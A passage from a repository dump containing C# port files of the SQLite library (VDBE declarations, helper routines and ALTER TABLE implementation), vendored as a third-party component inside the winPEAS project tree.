sqlite3VdbeAddOp4(Vdbe*,int,int,int,int,const char *zP4,int); //int sqlite3VdbeAddOpList(Vdbe*, int nOp, VdbeOpList const *aOp); //void sqlite3VdbeChangeP1(Vdbe*, int addr, int P1); //void sqlite3VdbeChangeP2(Vdbe*, int addr, int P2); //void sqlite3VdbeChangeP3(Vdbe*, int addr, int P3); //void sqlite3VdbeChangeP5(Vdbe*, u8 P5); //void sqlite3VdbeJumpHere(Vdbe*, int addr); //void sqlite3VdbeChangeToNoop(Vdbe*, int addr, int N); //void sqlite3VdbeChangeP4(Vdbe*, int addr, const char *zP4, int N); //void sqlite3VdbeUsesBtree(Vdbe*, int); //VdbeOp *sqlite3VdbeGetOp(Vdbe*, int); //int sqlite3VdbeMakeLabel(Vdbe*); //void sqlite3VdbeDelete(Vdbe*); //void sqlite3VdbeMakeReady(Vdbe*,int,int,int,int); //int sqlite3VdbeFinalize(Vdbe*); //void sqlite3VdbeResolveLabel(Vdbe*, int); //int sqlite3VdbeCurrentAddr(Vdbe*); //#if SQLITE_DEBUG // void sqlite3VdbeTrace(Vdbe*,FILE*); //#endif //void sqlite3VdbeResetStepResult(Vdbe*); //int sqlite3VdbeReset(Vdbe*); //void sqlite3VdbeSetNumCols(Vdbe*,int); //int sqlite3VdbeSetColName(Vdbe*, int, int, const char *, void(*)(void*)); //void sqlite3VdbeCountChanges(Vdbe*); //sqlite3 *sqlite3VdbeDb(Vdbe*); //void sqlite3VdbeSetSql(Vdbe*, const char *z, int n, int); //void sqlite3VdbeSwap(Vdbe*,Vdbe*); #if SQLITE_ENABLE_MEMORY_MANAGEMENT //int sqlite3VdbeReleaseMemory(int); #endif //UnpackedRecord *sqlite3VdbeRecordUnpack(KeyInfo*,int,const void*,char*,int); //void sqlite3VdbeDeleteUnpackedRecord(UnpackedRecord*); //int sqlite3VdbeRecordCompare(int,const void*,UnpackedRecord*); #if !NDEBUG //void sqlite3VdbeComment(Vdbe*, const char*, ...); static void VdbeComment( Vdbe v, string zFormat, params object[] ap ) { sqlite3VdbeComment( v, zFormat, ap ); }//# define VdbeComment(X) sqlite3VdbeComment X //void sqlite3VdbeNoopComment(Vdbe*, const char*, ...); static void VdbeNoopComment( Vdbe v, string zFormat, params object[] ap ) { sqlite3VdbeNoopComment( v, zFormat, ap ); }//# define VdbeNoopComment(X) sqlite3VdbeNoopComment X #else //# define VdbeComment(X) static void VdbeComment( Vdbe v, string zFormat, params object[] ap ) { } //# define VdbeNoopComment(X) static void VdbeNoopComment( Vdbe v, string zFormat, params object[] ap ) { } #endif } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/_Custom.cs ================================================ /* ************************************************************************* ** $Header$ ************************************************************************* */ using System; using System.Diagnostics; using System.IO; using System.Management; using System.Runtime.InteropServices; using System.Text; using i64 = System.Int64; using u32 = System.UInt32; using time_t = System.Int64; namespace winPEAS._3rdParty.SQLite.src { using sqlite3_value = CSSQLite.Mem; public partial class CSSQLite { static int atoi( byte[] inStr ) { return atoi( Encoding.UTF8.GetString( inStr ) ); } static int atoi( string inStr ) { int i; for ( i = 0 ; i < inStr.Length ; i++ ) { if ( !sqlite3Isdigit( inStr[i] ) && inStr[i] != '-' ) break; } int result = 0; return ( Int32.TryParse( inStr.Substring( 0, i ), out result ) ? result : 0 ); } static void fprintf( TextWriter tw, string zFormat, params object[] ap ) { tw.Write( sqlite3_mprintf( zFormat, ap ) ); } static void printf( string zFormat, params object[] ap ) { Console.Out.Write( sqlite3_mprintf( zFormat, ap ) ); } //Byte Buffer Testing static int memcmp( byte[] bA, byte[] bB, int Limit ) { if ( bA.Length < Limit ) return ( bA.Length < bB.Length ) ? -1 : +1; if ( bB.Length < Limit ) return +1; for ( int i = 0 ; i < Limit ; i++ ) { if ( bA[i] != bB[i] ) return ( bA[i] < bB[i] ) ? -1 : 1; } return 0; } //Byte Buffer & String Testing static int memcmp( byte[] bA, string B, int Limit ) { if ( bA.Length < Limit ) return ( bA.Length < B.Length ) ? -1 : +1; if ( B.Length < Limit ) return +1; for ( int i = 0 ; i < Limit ; i++ ) { if ( bA[i] != B[i] ) return ( bA[i] < B[i] ) ? -1 : 1; } return 0; } //Byte Buffer & String Testing static int memcmp( string A, byte[] bB, int Limit ) { if ( A.Length < Limit ) return ( A.Length < bB.Length ) ? -1 : +1; if ( bB.Length < Limit ) return +1; for ( int i = 0 ; i < Limit ; i++ ) { if ( A[i] != bB[i] ) return ( A[i] < bB[i] ) ? -1 : 1; } return 0; } //String with Offset & String Testing static int memcmp( byte[] a, int Offset, byte[] b, int Limit ) { if ( a.Length < Offset + Limit ) return ( a.Length - Offset < b.Length ) ? -1 : +1; if ( b.Length < Limit ) return +1; for ( int i = 0 ; i < Limit ; i++ ) { if ( a[i + Offset] != b[i] ) return ( a[i + Offset] < b[i] ) ? -1 : 1; } return 0; } static int memcmp( string a, int Offset, byte[] b, int Limit ) { if ( a.Length < Offset + Limit ) return ( a.Length - Offset < b.Length ) ? -1 : +1; if ( b.Length < Limit ) return +1; for ( int i = 0 ; i < Limit ; i++ ) { if ( a[i + Offset] != b[i] ) return ( a[i + Offset] < b[i] ) ? -1 : 1; } return 0; } static int memcmp( byte[] a, int Offset, string b, int Limit ) { if ( a.Length < Offset + Limit ) return ( a.Length - Offset < b.Length ) ? -1 : +1; if ( b.Length < Limit ) return +1; for ( int i = 0 ; i < Limit ; i++ ) { if ( a[i + Offset] != b[i] ) return ( a[i + Offset] < b[i] ) ? -1 : 1; } return 0; } //String Testing static int memcmp( string A, string B, int Limit ) { if ( A.Length < Limit ) return ( A.Length < B.Length ) ? -1 : +1; if ( B.Length < Limit ) return +1; for ( int i = 0 ; i < Limit ; i++ ) { if ( A[i] != B[i] ) return ( A[i] < B[i] ) ? -1 : 1; } return 0; } // ---------------------------- // ** Convertion routines // ---------------------------- static string vaFORMAT; static int vaNEXT; static void va_start( object[] ap, string zFormat ) { vaFORMAT = zFormat; vaNEXT = 0; } static object va_arg( object[] ap, string sysType ) { vaNEXT += 1; if ( ap == null || ap.Length == 0 ) return ""; switch ( sysType ) { case "double": return Convert.ToDouble( ap[vaNEXT - 1] ); case "long": case "long int": case "longlong int": case "i64": if ( ap[vaNEXT - 1].GetType().BaseType.Name == "Object" ) return (i64)( ap[vaNEXT - 1].GetHashCode() ); ; return Convert.ToInt64( ap[vaNEXT - 1] ); case "int": if ( Convert.ToInt64( ap[vaNEXT - 1] ) > 0 && ( Convert.ToUInt32( ap[vaNEXT - 1] ) > Int32.MaxValue ) ) return (Int32)( Convert.ToUInt32( ap[vaNEXT - 1] ) - System.UInt32.MaxValue - 1 ); else return (Int32)Convert.ToInt32( ap[vaNEXT - 1] ); case "SrcList": return (SrcList)ap[vaNEXT - 1]; case "char": if ( ap[vaNEXT - 1].GetType().Name == "Int32" && (int)ap[vaNEXT - 1] == 0 ) { return (char)'0'; } else { if ( ap[vaNEXT - 1].GetType().Name == "Int64" ) if ( (i64)ap[vaNEXT - 1] == 0 ) { return (char)'0'; } else return (char)( (i64)ap[vaNEXT - 1] ); else return (char)ap[vaNEXT - 1]; } case "char*": case "string": if ( ap[vaNEXT - 1] == null ) { return "NULL"; } else { if ( ap[vaNEXT - 1].GetType().Name == "Byte[]" ) if ( Encoding.UTF8.GetString( (byte[])ap[vaNEXT - 1] ) == "\0" ) return ""; else return Encoding.UTF8.GetString( (byte[])ap[vaNEXT - 1] ); else if ( ap[vaNEXT - 1].GetType().Name == "Int32" ) return null; else if ( ap[vaNEXT - 1].GetType().Name == "StringBuilder" ) return (string)ap[vaNEXT - 1].ToString(); else return (string)ap[vaNEXT - 1]; } case "byte[]": if ( ap[vaNEXT - 1] == null ) { return null; } else { return (byte[])ap[vaNEXT - 1]; } case "int[]": if ( ap[vaNEXT - 1] == null ) { return "NULL"; } else { return (int[])ap[vaNEXT - 1]; } case "Token": return (Token)ap[vaNEXT - 1]; case "u3216": return Convert.ToUInt16( ap[vaNEXT - 1] ); case "u32": case "unsigned int": if ( ap[vaNEXT - 1].GetType().IsClass ) { return ap[vaNEXT - 1].GetHashCode(); } else { return Convert.ToUInt32( ap[vaNEXT - 1] ); } case "u64": case "unsigned long": case "unsigned long int": if ( ap[vaNEXT - 1].GetType().IsClass ) return Convert.ToUInt64( ap[vaNEXT - 1].GetHashCode() ); else return Convert.ToUInt64( ap[vaNEXT - 1] ); case "sqlite3_mem_methods": return (sqlite3_mem_methods)ap[vaNEXT - 1]; case "void_function": return (void_function)ap[vaNEXT - 1]; case "MemPage": return (MemPage)ap[vaNEXT - 1]; default: Debugger.Break(); return ap[vaNEXT - 1]; } } static void va_end( object[] ap ) { ap = null; vaFORMAT = ""; } public static tm localtime( time_t baseTime ) { System.DateTime RefTime = new System.DateTime( 1970, 1, 1, 0, 0, 0, 0 ); RefTime = RefTime.AddSeconds( Convert.ToDouble( baseTime ) ).ToLocalTime(); tm tm = new tm(); tm.tm_sec = RefTime.Second; tm.tm_min = RefTime.Minute; tm.tm_hour = RefTime.Hour; tm.tm_mday = RefTime.Day; tm.tm_mon = RefTime.Month; tm.tm_year = RefTime.Year; tm.tm_wday = (int)RefTime.DayOfWeek; tm.tm_yday = RefTime.DayOfYear; tm.tm_isdst = RefTime.IsDaylightSavingTime() ? 1 : 0; return tm; } public static long ToUnixtime( System.DateTime date ) { System.DateTime unixStartTime = new System.DateTime( 1970, 1, 1, 0, 0, 0, 0 ); System.TimeSpan timeSpan = date - unixStartTime; return Convert.ToInt64( timeSpan.TotalSeconds ); } public static System.DateTime ToCSharpTime( long unixTime ) { System.DateTime unixStartTime = new System.DateTime( 1970, 1, 1, 0, 0, 0, 0 ); return unixStartTime.AddSeconds( Convert.ToDouble( unixTime ) ); } public struct tm { public int tm_sec; /* seconds after the minute - [0,59] */ public int tm_min; /* minutes after the hour - [0,59] */ public int tm_hour; /* hours since midnight - [0,23] */ public int tm_mday; /* day of the month - [1,31] */ public int tm_mon; /* months since January - [0,11] */ public int tm_year; /* years since 1900 */ public int tm_wday; /* days since Sunday - [0,6] */ public int tm_yday; /* days since January 1 - [0,365] */ public int tm_isdst; /* daylight savings time flag */ }; public struct FILETIME { public u32 dwLowDateTime; public u32 dwHighDateTime; } // Example (C#) public static int GetbytesPerSector( StringBuilder diskPath ) { ManagementObjectSearcher mosLogicalDisks = new ManagementObjectSearcher( "select * from Win32_LogicalDisk where DeviceID = '" + diskPath.ToString().Remove( diskPath.Length - 1, 1 ) + "'"); try { foreach ( ManagementObject moLogDisk in mosLogicalDisks.Get() ) { ManagementObjectSearcher mosDiskDrives = new ManagementObjectSearcher( "select * from Win32_DiskDrive where SystemName = '" + moLogDisk["SystemName"] + "'" ); foreach ( ManagementObject moPDisk in mosDiskDrives.Get() ) { return int.Parse( moPDisk["BytesPerSector"].ToString() ); } } } catch { } return 0; } [DllImport( "kernel32.dll" )] public static extern bool GetSystemTimeAsFileTime( ref FILETIME sysfiletime ); static void SWAP( ref T A, ref T B ) { T t = A; A = B; B = t; } static void x_CountStep( sqlite3_context context, int argc, sqlite3_value[] argv ) { SumCtx p; int type; Debug.Assert( argc <= 1 ); Mem pMem = sqlite3_aggregate_context( context, -1 );//sizeof(*p)); if ( pMem._SumCtx == null ) pMem._SumCtx = new SumCtx(); p = pMem._SumCtx; if ( p.Context == null ) p.Context = pMem; if ( argc == 0 || SQLITE_NULL == sqlite3_value_type( argv[0] ) ) { p.cnt++; p.iSum += 1; } else { type = sqlite3_value_numeric_type( argv[0] ); if ( p != null && type != SQLITE_NULL ) { p.cnt++; if ( type == SQLITE_INTEGER ) { i64 v = sqlite3_value_int64( argv[0] ); if ( v == 40 || v == 41 ) { sqlite3_result_error( context, "value of " + v + " handed to x_count", -1 ); return; } else { p.iSum += v; if ( !( p.approx | p.overflow != 0 ) ) { i64 iNewSum = p.iSum + v; int s1 = (int)( p.iSum >> ( sizeof( i64 ) * 8 - 1 ) ); int s2 = (int)( v >> ( sizeof( i64 ) * 8 - 1 ) ); int s3 = (int)( iNewSum >> ( sizeof( i64 ) * 8 - 1 ) ); p.overflow = ( ( s1 & s2 & ~s3 ) | ( ~s1 & ~s2 & s3 ) ) != 0 ? 1 : 0; p.iSum = iNewSum; } } } else { p.rSum += sqlite3_value_double( argv[0] ); p.approx = true; } } } } static void x_CountFinalize( sqlite3_context context ) { SumCtx p; Mem pMem = sqlite3_aggregate_context( context, 0 ); p = pMem._SumCtx; if ( p != null && p.cnt > 0 ) { if ( p.overflow != 0 ) { sqlite3_result_error( context, "integer overflow", -1 ); } else if ( p.approx ) { sqlite3_result_double( context, p.rSum ); } else if ( p.iSum == 42 ) { sqlite3_result_error( context, "x_count totals to 42", -1 ); } else { sqlite3_result_int64( context, p.iSum ); } } } #if SQLITE_MUTEX_W32 //---------------------WIN32 Definitions static int GetCurrentThreadId() { return Thread.CurrentThread.ManagedThreadId; } static long InterlockedIncrement(long location) { Interlocked.Increment(ref location); return location; } static void EnterCriticalSection(Mutex mtx) { Monitor.Enter(mtx); } static void InitializeCriticalSection(Mutex mtx) { Monitor.Enter(mtx); } static void DeleteCriticalSection(Mutex mtx) { Monitor.Exit(mtx); } static void LeaveCriticalSection(Mutex mtx) { Monitor.Exit(mtx); } } #endif } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/alter_c.cs ================================================ using System.Diagnostics; namespace winPEAS._3rdParty.SQLite.src { using sqlite3_value = CSSQLite.Mem; public partial class CSSQLite { /* ** 2005 February 15 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This file contains C code routines that used to generate VDBE code ** that implements the ALTER TABLE command. ** ** $Id: alter.c,v 1.62 2009/07/24 17:58:53 danielk1977 Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" /* ** The code in this file only exists if we are not omitting the ** ALTER TABLE logic from the build. */ #if !SQLITE_OMIT_ALTERTABLE /* ** This function is used by SQL generated to implement the ** ALTER TABLE command. The first argument is the text of a CREATE TABLE or ** CREATE INDEX command. The second is a table name. The table name in ** the CREATE TABLE or CREATE INDEX statement is replaced with the third ** argument and the result returned. Examples: ** ** sqlite_rename_table('CREATE TABLE abc(a, b, c)', 'def') ** . 'CREATE TABLE def(a, b, c)' ** ** sqlite_rename_table('CREATE INDEX i ON abc(a)', 'def') ** . 'CREATE INDEX i ON def(a, b, c)' */ static void renameTableFunc( sqlite3_context context, int NotUsed, sqlite3_value[] argv ) { string bResult = sqlite3_value_text( argv[0] ); string zSql = bResult == null ? "" : bResult; string zTableName = sqlite3_value_text( argv[1] ); int token = 0; Token tname = new Token(); int zCsr = 0; int zLoc = 0; int len = 0; string zRet; sqlite3 db = sqlite3_context_db_handle( context ); UNUSED_PARAMETER( NotUsed ); /* The principle used to locate the table name in the CREATE TABLE ** statement is that the table name is the first non-space token that ** is immediately followed by a TK_LP or TK_USING token. */ if ( zSql != "" ) { do { if ( zCsr == zSql.Length ) { /* Ran out of input before finding an opening bracket. Return NULL. */ return; } /* Store the token that zCsr points to in tname. */ zLoc = zCsr; tname.z = zSql.Substring( zCsr );//(char*)zCsr; tname.n = len; /* Advance zCsr to the next token. Store that token type in 'token', ** and its length in 'len' (to be used next iteration of this loop). */ do { zCsr += len; len = ( zCsr == zSql.Length ) ? 1 : sqlite3GetToken( zSql, zCsr, ref token ); } while ( token == TK_SPACE ); Debug.Assert( len > 0 ); } while ( token != TK_LP && token != TK_USING ); zRet = sqlite3MPrintf( db, "%.*s\"%w\"%s", zLoc, zSql.Substring( 0, zLoc ), zTableName, zSql.Substring( zLoc + tname.n ) ); sqlite3_result_text( context, zRet, -1, SQLITE_DYNAMIC ); } } #if !SQLITE_OMIT_TRIGGER /* This function is used by SQL generated to implement the ** ALTER TABLE command. The first argument is the text of a CREATE TRIGGER ** statement. The second is a table name. The table name in the CREATE ** TRIGGER statement is replaced with the third argument and the result ** returned. This is analagous to renameTableFunc() above, except for CREATE ** TRIGGER, not CREATE INDEX and CREATE TABLE. */ static void renameTriggerFunc( sqlite3_context context, int NotUsed, sqlite3_value[] argv ) { string zSql = sqlite3_value_text( argv[0] ); string zTableName = sqlite3_value_text( argv[1] ); int token = 0; Token tname = new Token(); int dist = 3; int zCsr = 0; int zLoc = 0; int len = 1; string zRet; sqlite3 db = sqlite3_context_db_handle( context ); UNUSED_PARAMETER( NotUsed ); /* The principle used to locate the table name in the CREATE TRIGGER ** statement is that the table name is the first token that is immediatedly ** preceded by either TK_ON or TK_DOT and immediatedly followed by one ** of TK_WHEN, TK_BEGIN or TK_FOR. */ if ( zSql != null ) { do { if ( zCsr == zSql.Length ) { /* Ran out of input before finding the table name. Return NULL. */ return; } /* Store the token that zCsr points to in tname. */ zLoc = zCsr; tname.z = zSql.Substring( zCsr, len );//(char*)zCsr; tname.n = len; /* Advance zCsr to the next token. Store that token type in 'token', ** and its length in 'len' (to be used next iteration of this loop). */ do { zCsr += len; len = ( zCsr == zSql.Length ) ? 1 : sqlite3GetToken( zSql, zCsr, ref token ); } while ( token == TK_SPACE ); Debug.Assert( len > 0 ); /* Variable 'dist' stores the number of tokens read since the most ** recent TK_DOT or TK_ON. This means that when a WHEN, FOR or BEGIN ** token is read and 'dist' equals 2, the condition stated above ** to be met. ** ** Note that ON cannot be a database, table or column name, so ** there is no need to worry about syntax like ** "CREATE TRIGGER ... ON ON.ON BEGIN ..." etc. */ dist++; if ( token == TK_DOT || token == TK_ON ) { dist = 0; } } while ( dist != 2 || ( token != TK_WHEN && token != TK_FOR && token != TK_BEGIN ) ); /* Variable tname now contains the token that is the old table-name ** in the CREATE TRIGGER statement. */ zRet = sqlite3MPrintf( db, "%.*s\"%w\"%s", zLoc, zSql.Substring( 0, zLoc ), zTableName, zSql.Substring( zLoc + tname.n ) ); sqlite3_result_text( context, zRet, -1, SQLITE_DYNAMIC ); } } #endif // * !SQLITE_OMIT_TRIGGER */ /* ** Register built-in functions used to help implement ALTER TABLE */ static void sqlite3AlterFunctions( sqlite3 db ) { sqlite3CreateFunc( db, "sqlite_rename_table", 2, SQLITE_UTF8, 0, renameTableFunc, null, null ); #if !SQLITE_OMIT_TRIGGER sqlite3CreateFunc( db, "sqlite_rename_trigger", 2, SQLITE_UTF8, 0, renameTriggerFunc, null, null ); #endif } /* ** Generate the text of a WHERE expression which can be used to select all ** temporary triggers on table pTab from the sqlite_temp_master table. If ** table pTab has no temporary triggers, or is itself stored in the ** temporary database, NULL is returned. */ static string whereTempTriggers( Parse pParse, Table pTab ) { Trigger pTrig; string zWhere = ""; string tmp = ""; Schema pTempSchema = pParse.db.aDb[1].pSchema; /* Temp db schema */ /* If the table is not located in the temp.db (in which case NULL is ** returned, loop through the tables list of triggers. For each trigger ** that is not part of the temp.db schema, add a clause to the WHERE ** expression being built up in zWhere. */ if ( pTab.pSchema != pTempSchema ) { sqlite3 db = pParse.db; for ( pTrig = sqlite3TriggerList( pParse, pTab ) ; pTrig != null ; pTrig = pTrig.pNext ) { if ( pTrig.pSchema == pTempSchema ) { if ( zWhere == "" ) { zWhere = sqlite3MPrintf( db, "name=%Q", pTrig.name ); } else { tmp = zWhere; zWhere = sqlite3MPrintf( db, "%s OR name=%Q", zWhere, pTrig.name ); //sqlite3DbFree( db, ref tmp ); } } } } return zWhere; } /* ** Generate code to drop and reload the internal representation of table ** pTab from the database, including triggers and temporary triggers. ** Argument zName is the name of the table in the database schema at ** the time the generated code is executed. This can be different from ** pTab.zName if this function is being called to code part of an ** "ALTER TABLE RENAME TO" statement. */ static void reloadTableSchema( Parse pParse, Table pTab, string zName ) { Vdbe v; string zWhere; int iDb; /* Index of database containing pTab */ #if !SQLITE_OMIT_TRIGGER Trigger pTrig; #endif v = sqlite3GetVdbe( pParse ); if ( NEVER( v == null ) ) return; Debug.Assert( sqlite3BtreeHoldsAllMutexes( pParse.db ) ); iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); Debug.Assert( iDb >= 0 ); #if !SQLITE_OMIT_TRIGGER /* Drop any table triggers from the internal schema. */ for ( pTrig = sqlite3TriggerList( pParse, pTab ) ; pTrig != null ; pTrig = pTrig.pNext ) { int iTrigDb = sqlite3SchemaToIndex( pParse.db, pTrig.pSchema ); Debug.Assert( iTrigDb == iDb || iTrigDb == 1 ); sqlite3VdbeAddOp4( v, OP_DropTrigger, iTrigDb, 0, 0, pTrig.name, 0 ); } #endif /* Drop the table and index from the internal schema */ sqlite3VdbeAddOp4( v, OP_DropTable, iDb, 0, 0, pTab.zName, 0 ); /* Reload the table, index and permanent trigger schemas. */ zWhere = sqlite3MPrintf( pParse.db, "tbl_name=%Q", zName ); if ( zWhere == null ) return; sqlite3VdbeAddOp4( v, OP_ParseSchema, iDb, 0, 0, zWhere, P4_DYNAMIC ); #if !SQLITE_OMIT_TRIGGER /* Now, if the table is not stored in the temp database, reload any temp ** triggers. Don't use IN(...) in case SQLITE_OMIT_SUBQUERY is defined. */ if ( ( zWhere = whereTempTriggers( pParse, pTab ) ) != "" ) { sqlite3VdbeAddOp4( v, OP_ParseSchema, 1, 0, 0, zWhere, P4_DYNAMIC ); } #endif } /* ** Generate code to implement the "ALTER TABLE xxx RENAME TO yyy" ** command. */ static void sqlite3AlterRenameTable( Parse pParse, /* Parser context. */ SrcList pSrc, /* The table to rename. */ Token pName /* The new table name. */ ) { int iDb; /* Database that contains the table */ string zDb; /* Name of database iDb */ Table pTab; /* Table being renamed */ string zName = null; /* NULL-terminated version of pName */ sqlite3 db = pParse.db; /* Database connection */ int nTabName; /* Number of UTF-8 characters in zTabName */ string zTabName; /* Original name of the table */ Vdbe v; #if !SQLITE_OMIT_TRIGGER string zWhere = ""; /* Where clause to locate temp triggers */ #endif VTable pVTab = null; /* Non-zero if this is a v-tab with an xRename() */ //if ( NEVER( db.mallocFailed != 0 ) ) goto exit_rename_table; Debug.Assert( pSrc.nSrc == 1 ); Debug.Assert( sqlite3BtreeHoldsAllMutexes( pParse.db ) ); pTab = sqlite3LocateTable( pParse, 0, pSrc.a[0].zName, pSrc.a[0].zDatabase ); if ( pTab == null ) goto exit_rename_table; iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); zDb = db.aDb[iDb].zName; /* Get a NULL terminated version of the new table name. */ zName = sqlite3NameFromToken( db, pName ); if ( zName == null ) goto exit_rename_table; /* Check that a table or index named 'zName' does not already exist ** in database iDb. If so, this is an error. */ if ( sqlite3FindTable( db, zName, zDb ) != null || sqlite3FindIndex( db, zName, zDb ) != null ) { sqlite3ErrorMsg( pParse, "there is already another table or index with this name: %s", zName ); goto exit_rename_table; } /* Make sure it is not a system table being altered, or a reserved name ** that the table is being renamed to. */ if ( sqlite3Strlen30( pTab.zName ) > 6 && 0 == sqlite3StrNICmp( pTab.zName, "sqlite_", 7 ) ) { sqlite3ErrorMsg( pParse, "table %s may not be altered", pTab.zName ); goto exit_rename_table; } if ( SQLITE_OK != sqlite3CheckObjectName( pParse, zName ) ) { goto exit_rename_table; } #if !SQLITE_OMIT_VIEW if ( pTab.pSelect != null ) { sqlite3ErrorMsg( pParse, "view %s may not be altered", pTab.zName ); goto exit_rename_table; } #endif #if !SQLITE_OMIT_AUTHORIZATION /* Invoke the authorization callback. */ if( sqlite3AuthCheck(pParse, SQLITE_ALTER_TABLE, zDb, pTab.zName, 0) ){ goto exit_rename_table; } #endif if ( sqlite3ViewGetColumnNames( pParse, pTab ) != 0 ) { goto exit_rename_table; } #if !SQLITE_OMIT_VIRTUALTABLE if( IsVirtual(pTab) ){ pVTab = sqlite3GetVTable(db, pTab); if( pVTab.pVtab.pModule.xRename==null ){ pVTab = null; } #endif /* Begin a transaction and code the VerifyCookie for database iDb. ** Then modify the schema cookie (since the ALTER TABLE modifies the ** schema). Open a statement transaction if the table is a virtual ** table. */ v = sqlite3GetVdbe( pParse ); if ( v == null ) { goto exit_rename_table; } sqlite3BeginWriteOperation( pParse, pVTab != null ? 1 : 0, iDb ); sqlite3ChangeCookie( pParse, iDb ); /* If this is a virtual table, invoke the xRename() function if ** one is defined. The xRename() callback will modify the names ** of any resources used by the v-table implementation (including other ** SQLite tables) that are identified by the name of the virtual table. */ #if !SQLITE_OMIT_VIRTUALTABLE if ( pVTab !=null) { int i = ++pParse.nMem; sqlite3VdbeAddOp4( v, OP_String8, 0, i, 0, zName, 0 ); sqlite3VdbeAddOp4( v, OP_VRename, i, 0, 0, pVtab, P4_VTAB ); } #endif /* figure out how many UTF-8 characters are in zName */ zTabName = pTab.zName; nTabName = sqlite3Utf8CharLen( zTabName, -1 ); /* Modify the sqlite_master table to use the new table name. */ sqlite3NestedParse( pParse, "UPDATE %Q.%s SET " + #if SQLITE_OMIT_TRIGGER "sql = sqlite_rename_table(sql, %Q), "+ #else "sql = CASE " + "WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)" + "ELSE sqlite_rename_table(sql, %Q) END, " + #endif "tbl_name = %Q, " + "name = CASE " + "WHEN type='table' THEN %Q " + "WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN " + "'sqlite_autoindex_' || %Q || substr(name,%d+18) " + "ELSE name END " + "WHERE tbl_name=%Q AND " + "(type='table' OR type='index' OR type='trigger');", zDb, SCHEMA_TABLE( iDb ), zName, zName, zName, #if !SQLITE_OMIT_TRIGGER zName, #endif zName, nTabName, zTabName ); #if !SQLITE_OMIT_AUTOINCREMENT /* If the sqlite_sequence table exists in this database, then update ** it with the new table name. */ if ( sqlite3FindTable( db, "sqlite_sequence", zDb ) != null ) { sqlite3NestedParse( pParse, "UPDATE \"%w\".sqlite_sequence set name = %Q WHERE name = %Q", zDb, zName, pTab.zName ); } #endif #if !SQLITE_OMIT_TRIGGER /* If there are TEMP triggers on this table, modify the sqlite_temp_master ** table. Don't do this if the table being ALTERed is itself located in ** the temp database. */ if ( ( zWhere = whereTempTriggers( pParse, pTab ) ) != "" ) { sqlite3NestedParse( pParse, "UPDATE sqlite_temp_master SET " + "sql = sqlite_rename_trigger(sql, %Q), " + "tbl_name = %Q " + "WHERE %s;", zName, zName, zWhere ); //sqlite3DbFree( db, ref zWhere ); } #endif /* Drop and reload the internal table schema. */ reloadTableSchema( pParse, pTab, zName ); exit_rename_table: sqlite3SrcListDelete( db, ref pSrc ); //sqlite3DbFree( db, ref zName ); } /* ** Generate code to make sure the file format number is at least minFormat. ** The generated code will increase the file format number if necessary. */ static void sqlite3MinimumFileFormat( Parse pParse, int iDb, int minFormat ) { Vdbe v; v = sqlite3GetVdbe( pParse ); /* The VDBE should have been allocated before this routine is called. ** If that allocation failed, we would have quit before reaching this ** point */ if ( ALWAYS( v ) ) { int r1 = sqlite3GetTempReg( pParse ); int r2 = sqlite3GetTempReg( pParse ); int j1; sqlite3VdbeAddOp3( v, OP_ReadCookie, iDb, r1, BTREE_FILE_FORMAT ); sqlite3VdbeUsesBtree( v, iDb ); sqlite3VdbeAddOp2( v, OP_Integer, minFormat, r2 ); j1 = sqlite3VdbeAddOp3( v, OP_Ge, r2, 0, r1 ); sqlite3VdbeAddOp3( v, OP_SetCookie, iDb, BTREE_FILE_FORMAT, r2 ); sqlite3VdbeJumpHere( v, j1 ); sqlite3ReleaseTempReg( pParse, r1 ); sqlite3ReleaseTempReg( pParse, r2 ); } } /* ** This function is called after an "ALTER TABLE ... ADD" statement ** has been parsed. Argument pColDef contains the text of the new ** column definition. ** ** The Table structure pParse.pNewTable was extended to include ** the new column during parsing. */ static void sqlite3AlterFinishAddColumn( Parse pParse, Token pColDef ) { Table pNew; /* Copy of pParse.pNewTable */ Table pTab; /* Table being altered */ int iDb; /* Database number */ string zDb; /* Database name */ string zTab; /* Table name */ string zCol; /* Null-terminated column definition */ Column pCol; /* The new column */ Expr pDflt; /* Default value for the new column */ sqlite3 db; /* The database connection; */ db = pParse.db; if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) return; pNew = pParse.pNewTable; Debug.Assert( pNew != null ); Debug.Assert( sqlite3BtreeHoldsAllMutexes( db ) ); iDb = sqlite3SchemaToIndex( db, pNew.pSchema ); zDb = db.aDb[iDb].zName; zTab = pNew.zName.Substring( 16 );// zTab = &pNew->zName[16]; /* Skip the "sqlite_altertab_" prefix on the name */ pCol = pNew.aCol[pNew.nCol - 1]; pDflt = pCol.pDflt; pTab = sqlite3FindTable( db, zTab, zDb ); Debug.Assert( pTab != null ); #if !SQLITE_OMIT_AUTHORIZATION /* Invoke the authorization callback. */ if( sqlite3AuthCheck(pParse, SQLITE_ALTER_TABLE, zDb, pTab.zName, 0) ){ return; } #endif /* If the default value for the new column was specified with a ** literal NULL, then set pDflt to 0. This simplifies checking ** for an SQL NULL default below. */ if ( pDflt != null && pDflt.op == TK_NULL ) { pDflt = null; } /* Check that the new column is not specified as PRIMARY KEY or UNIQUE. ** If there is a NOT NULL constraint, then the default value for the ** column must not be NULL. */ if ( pCol.isPrimKey != 0 ) { sqlite3ErrorMsg( pParse, "Cannot add a PRIMARY KEY column" ); return; } if ( pNew.pIndex != null ) { sqlite3ErrorMsg( pParse, "Cannot add a UNIQUE column" ); return; } if ( pCol.notNull != 0 && pDflt == null ) { sqlite3ErrorMsg( pParse, "Cannot add a NOT NULL column with default value NULL" ); return; } /* Ensure the default expression is something that sqlite3ValueFromExpr() ** can handle (i.e. not CURRENT_TIME etc.) */ if ( pDflt != null ) { sqlite3_value pVal = null; if ( sqlite3ValueFromExpr( db, pDflt, SQLITE_UTF8, SQLITE_AFF_NONE, ref pVal ) != 0 ) { // db.mallocFailed = 1; return; } if ( pVal == null 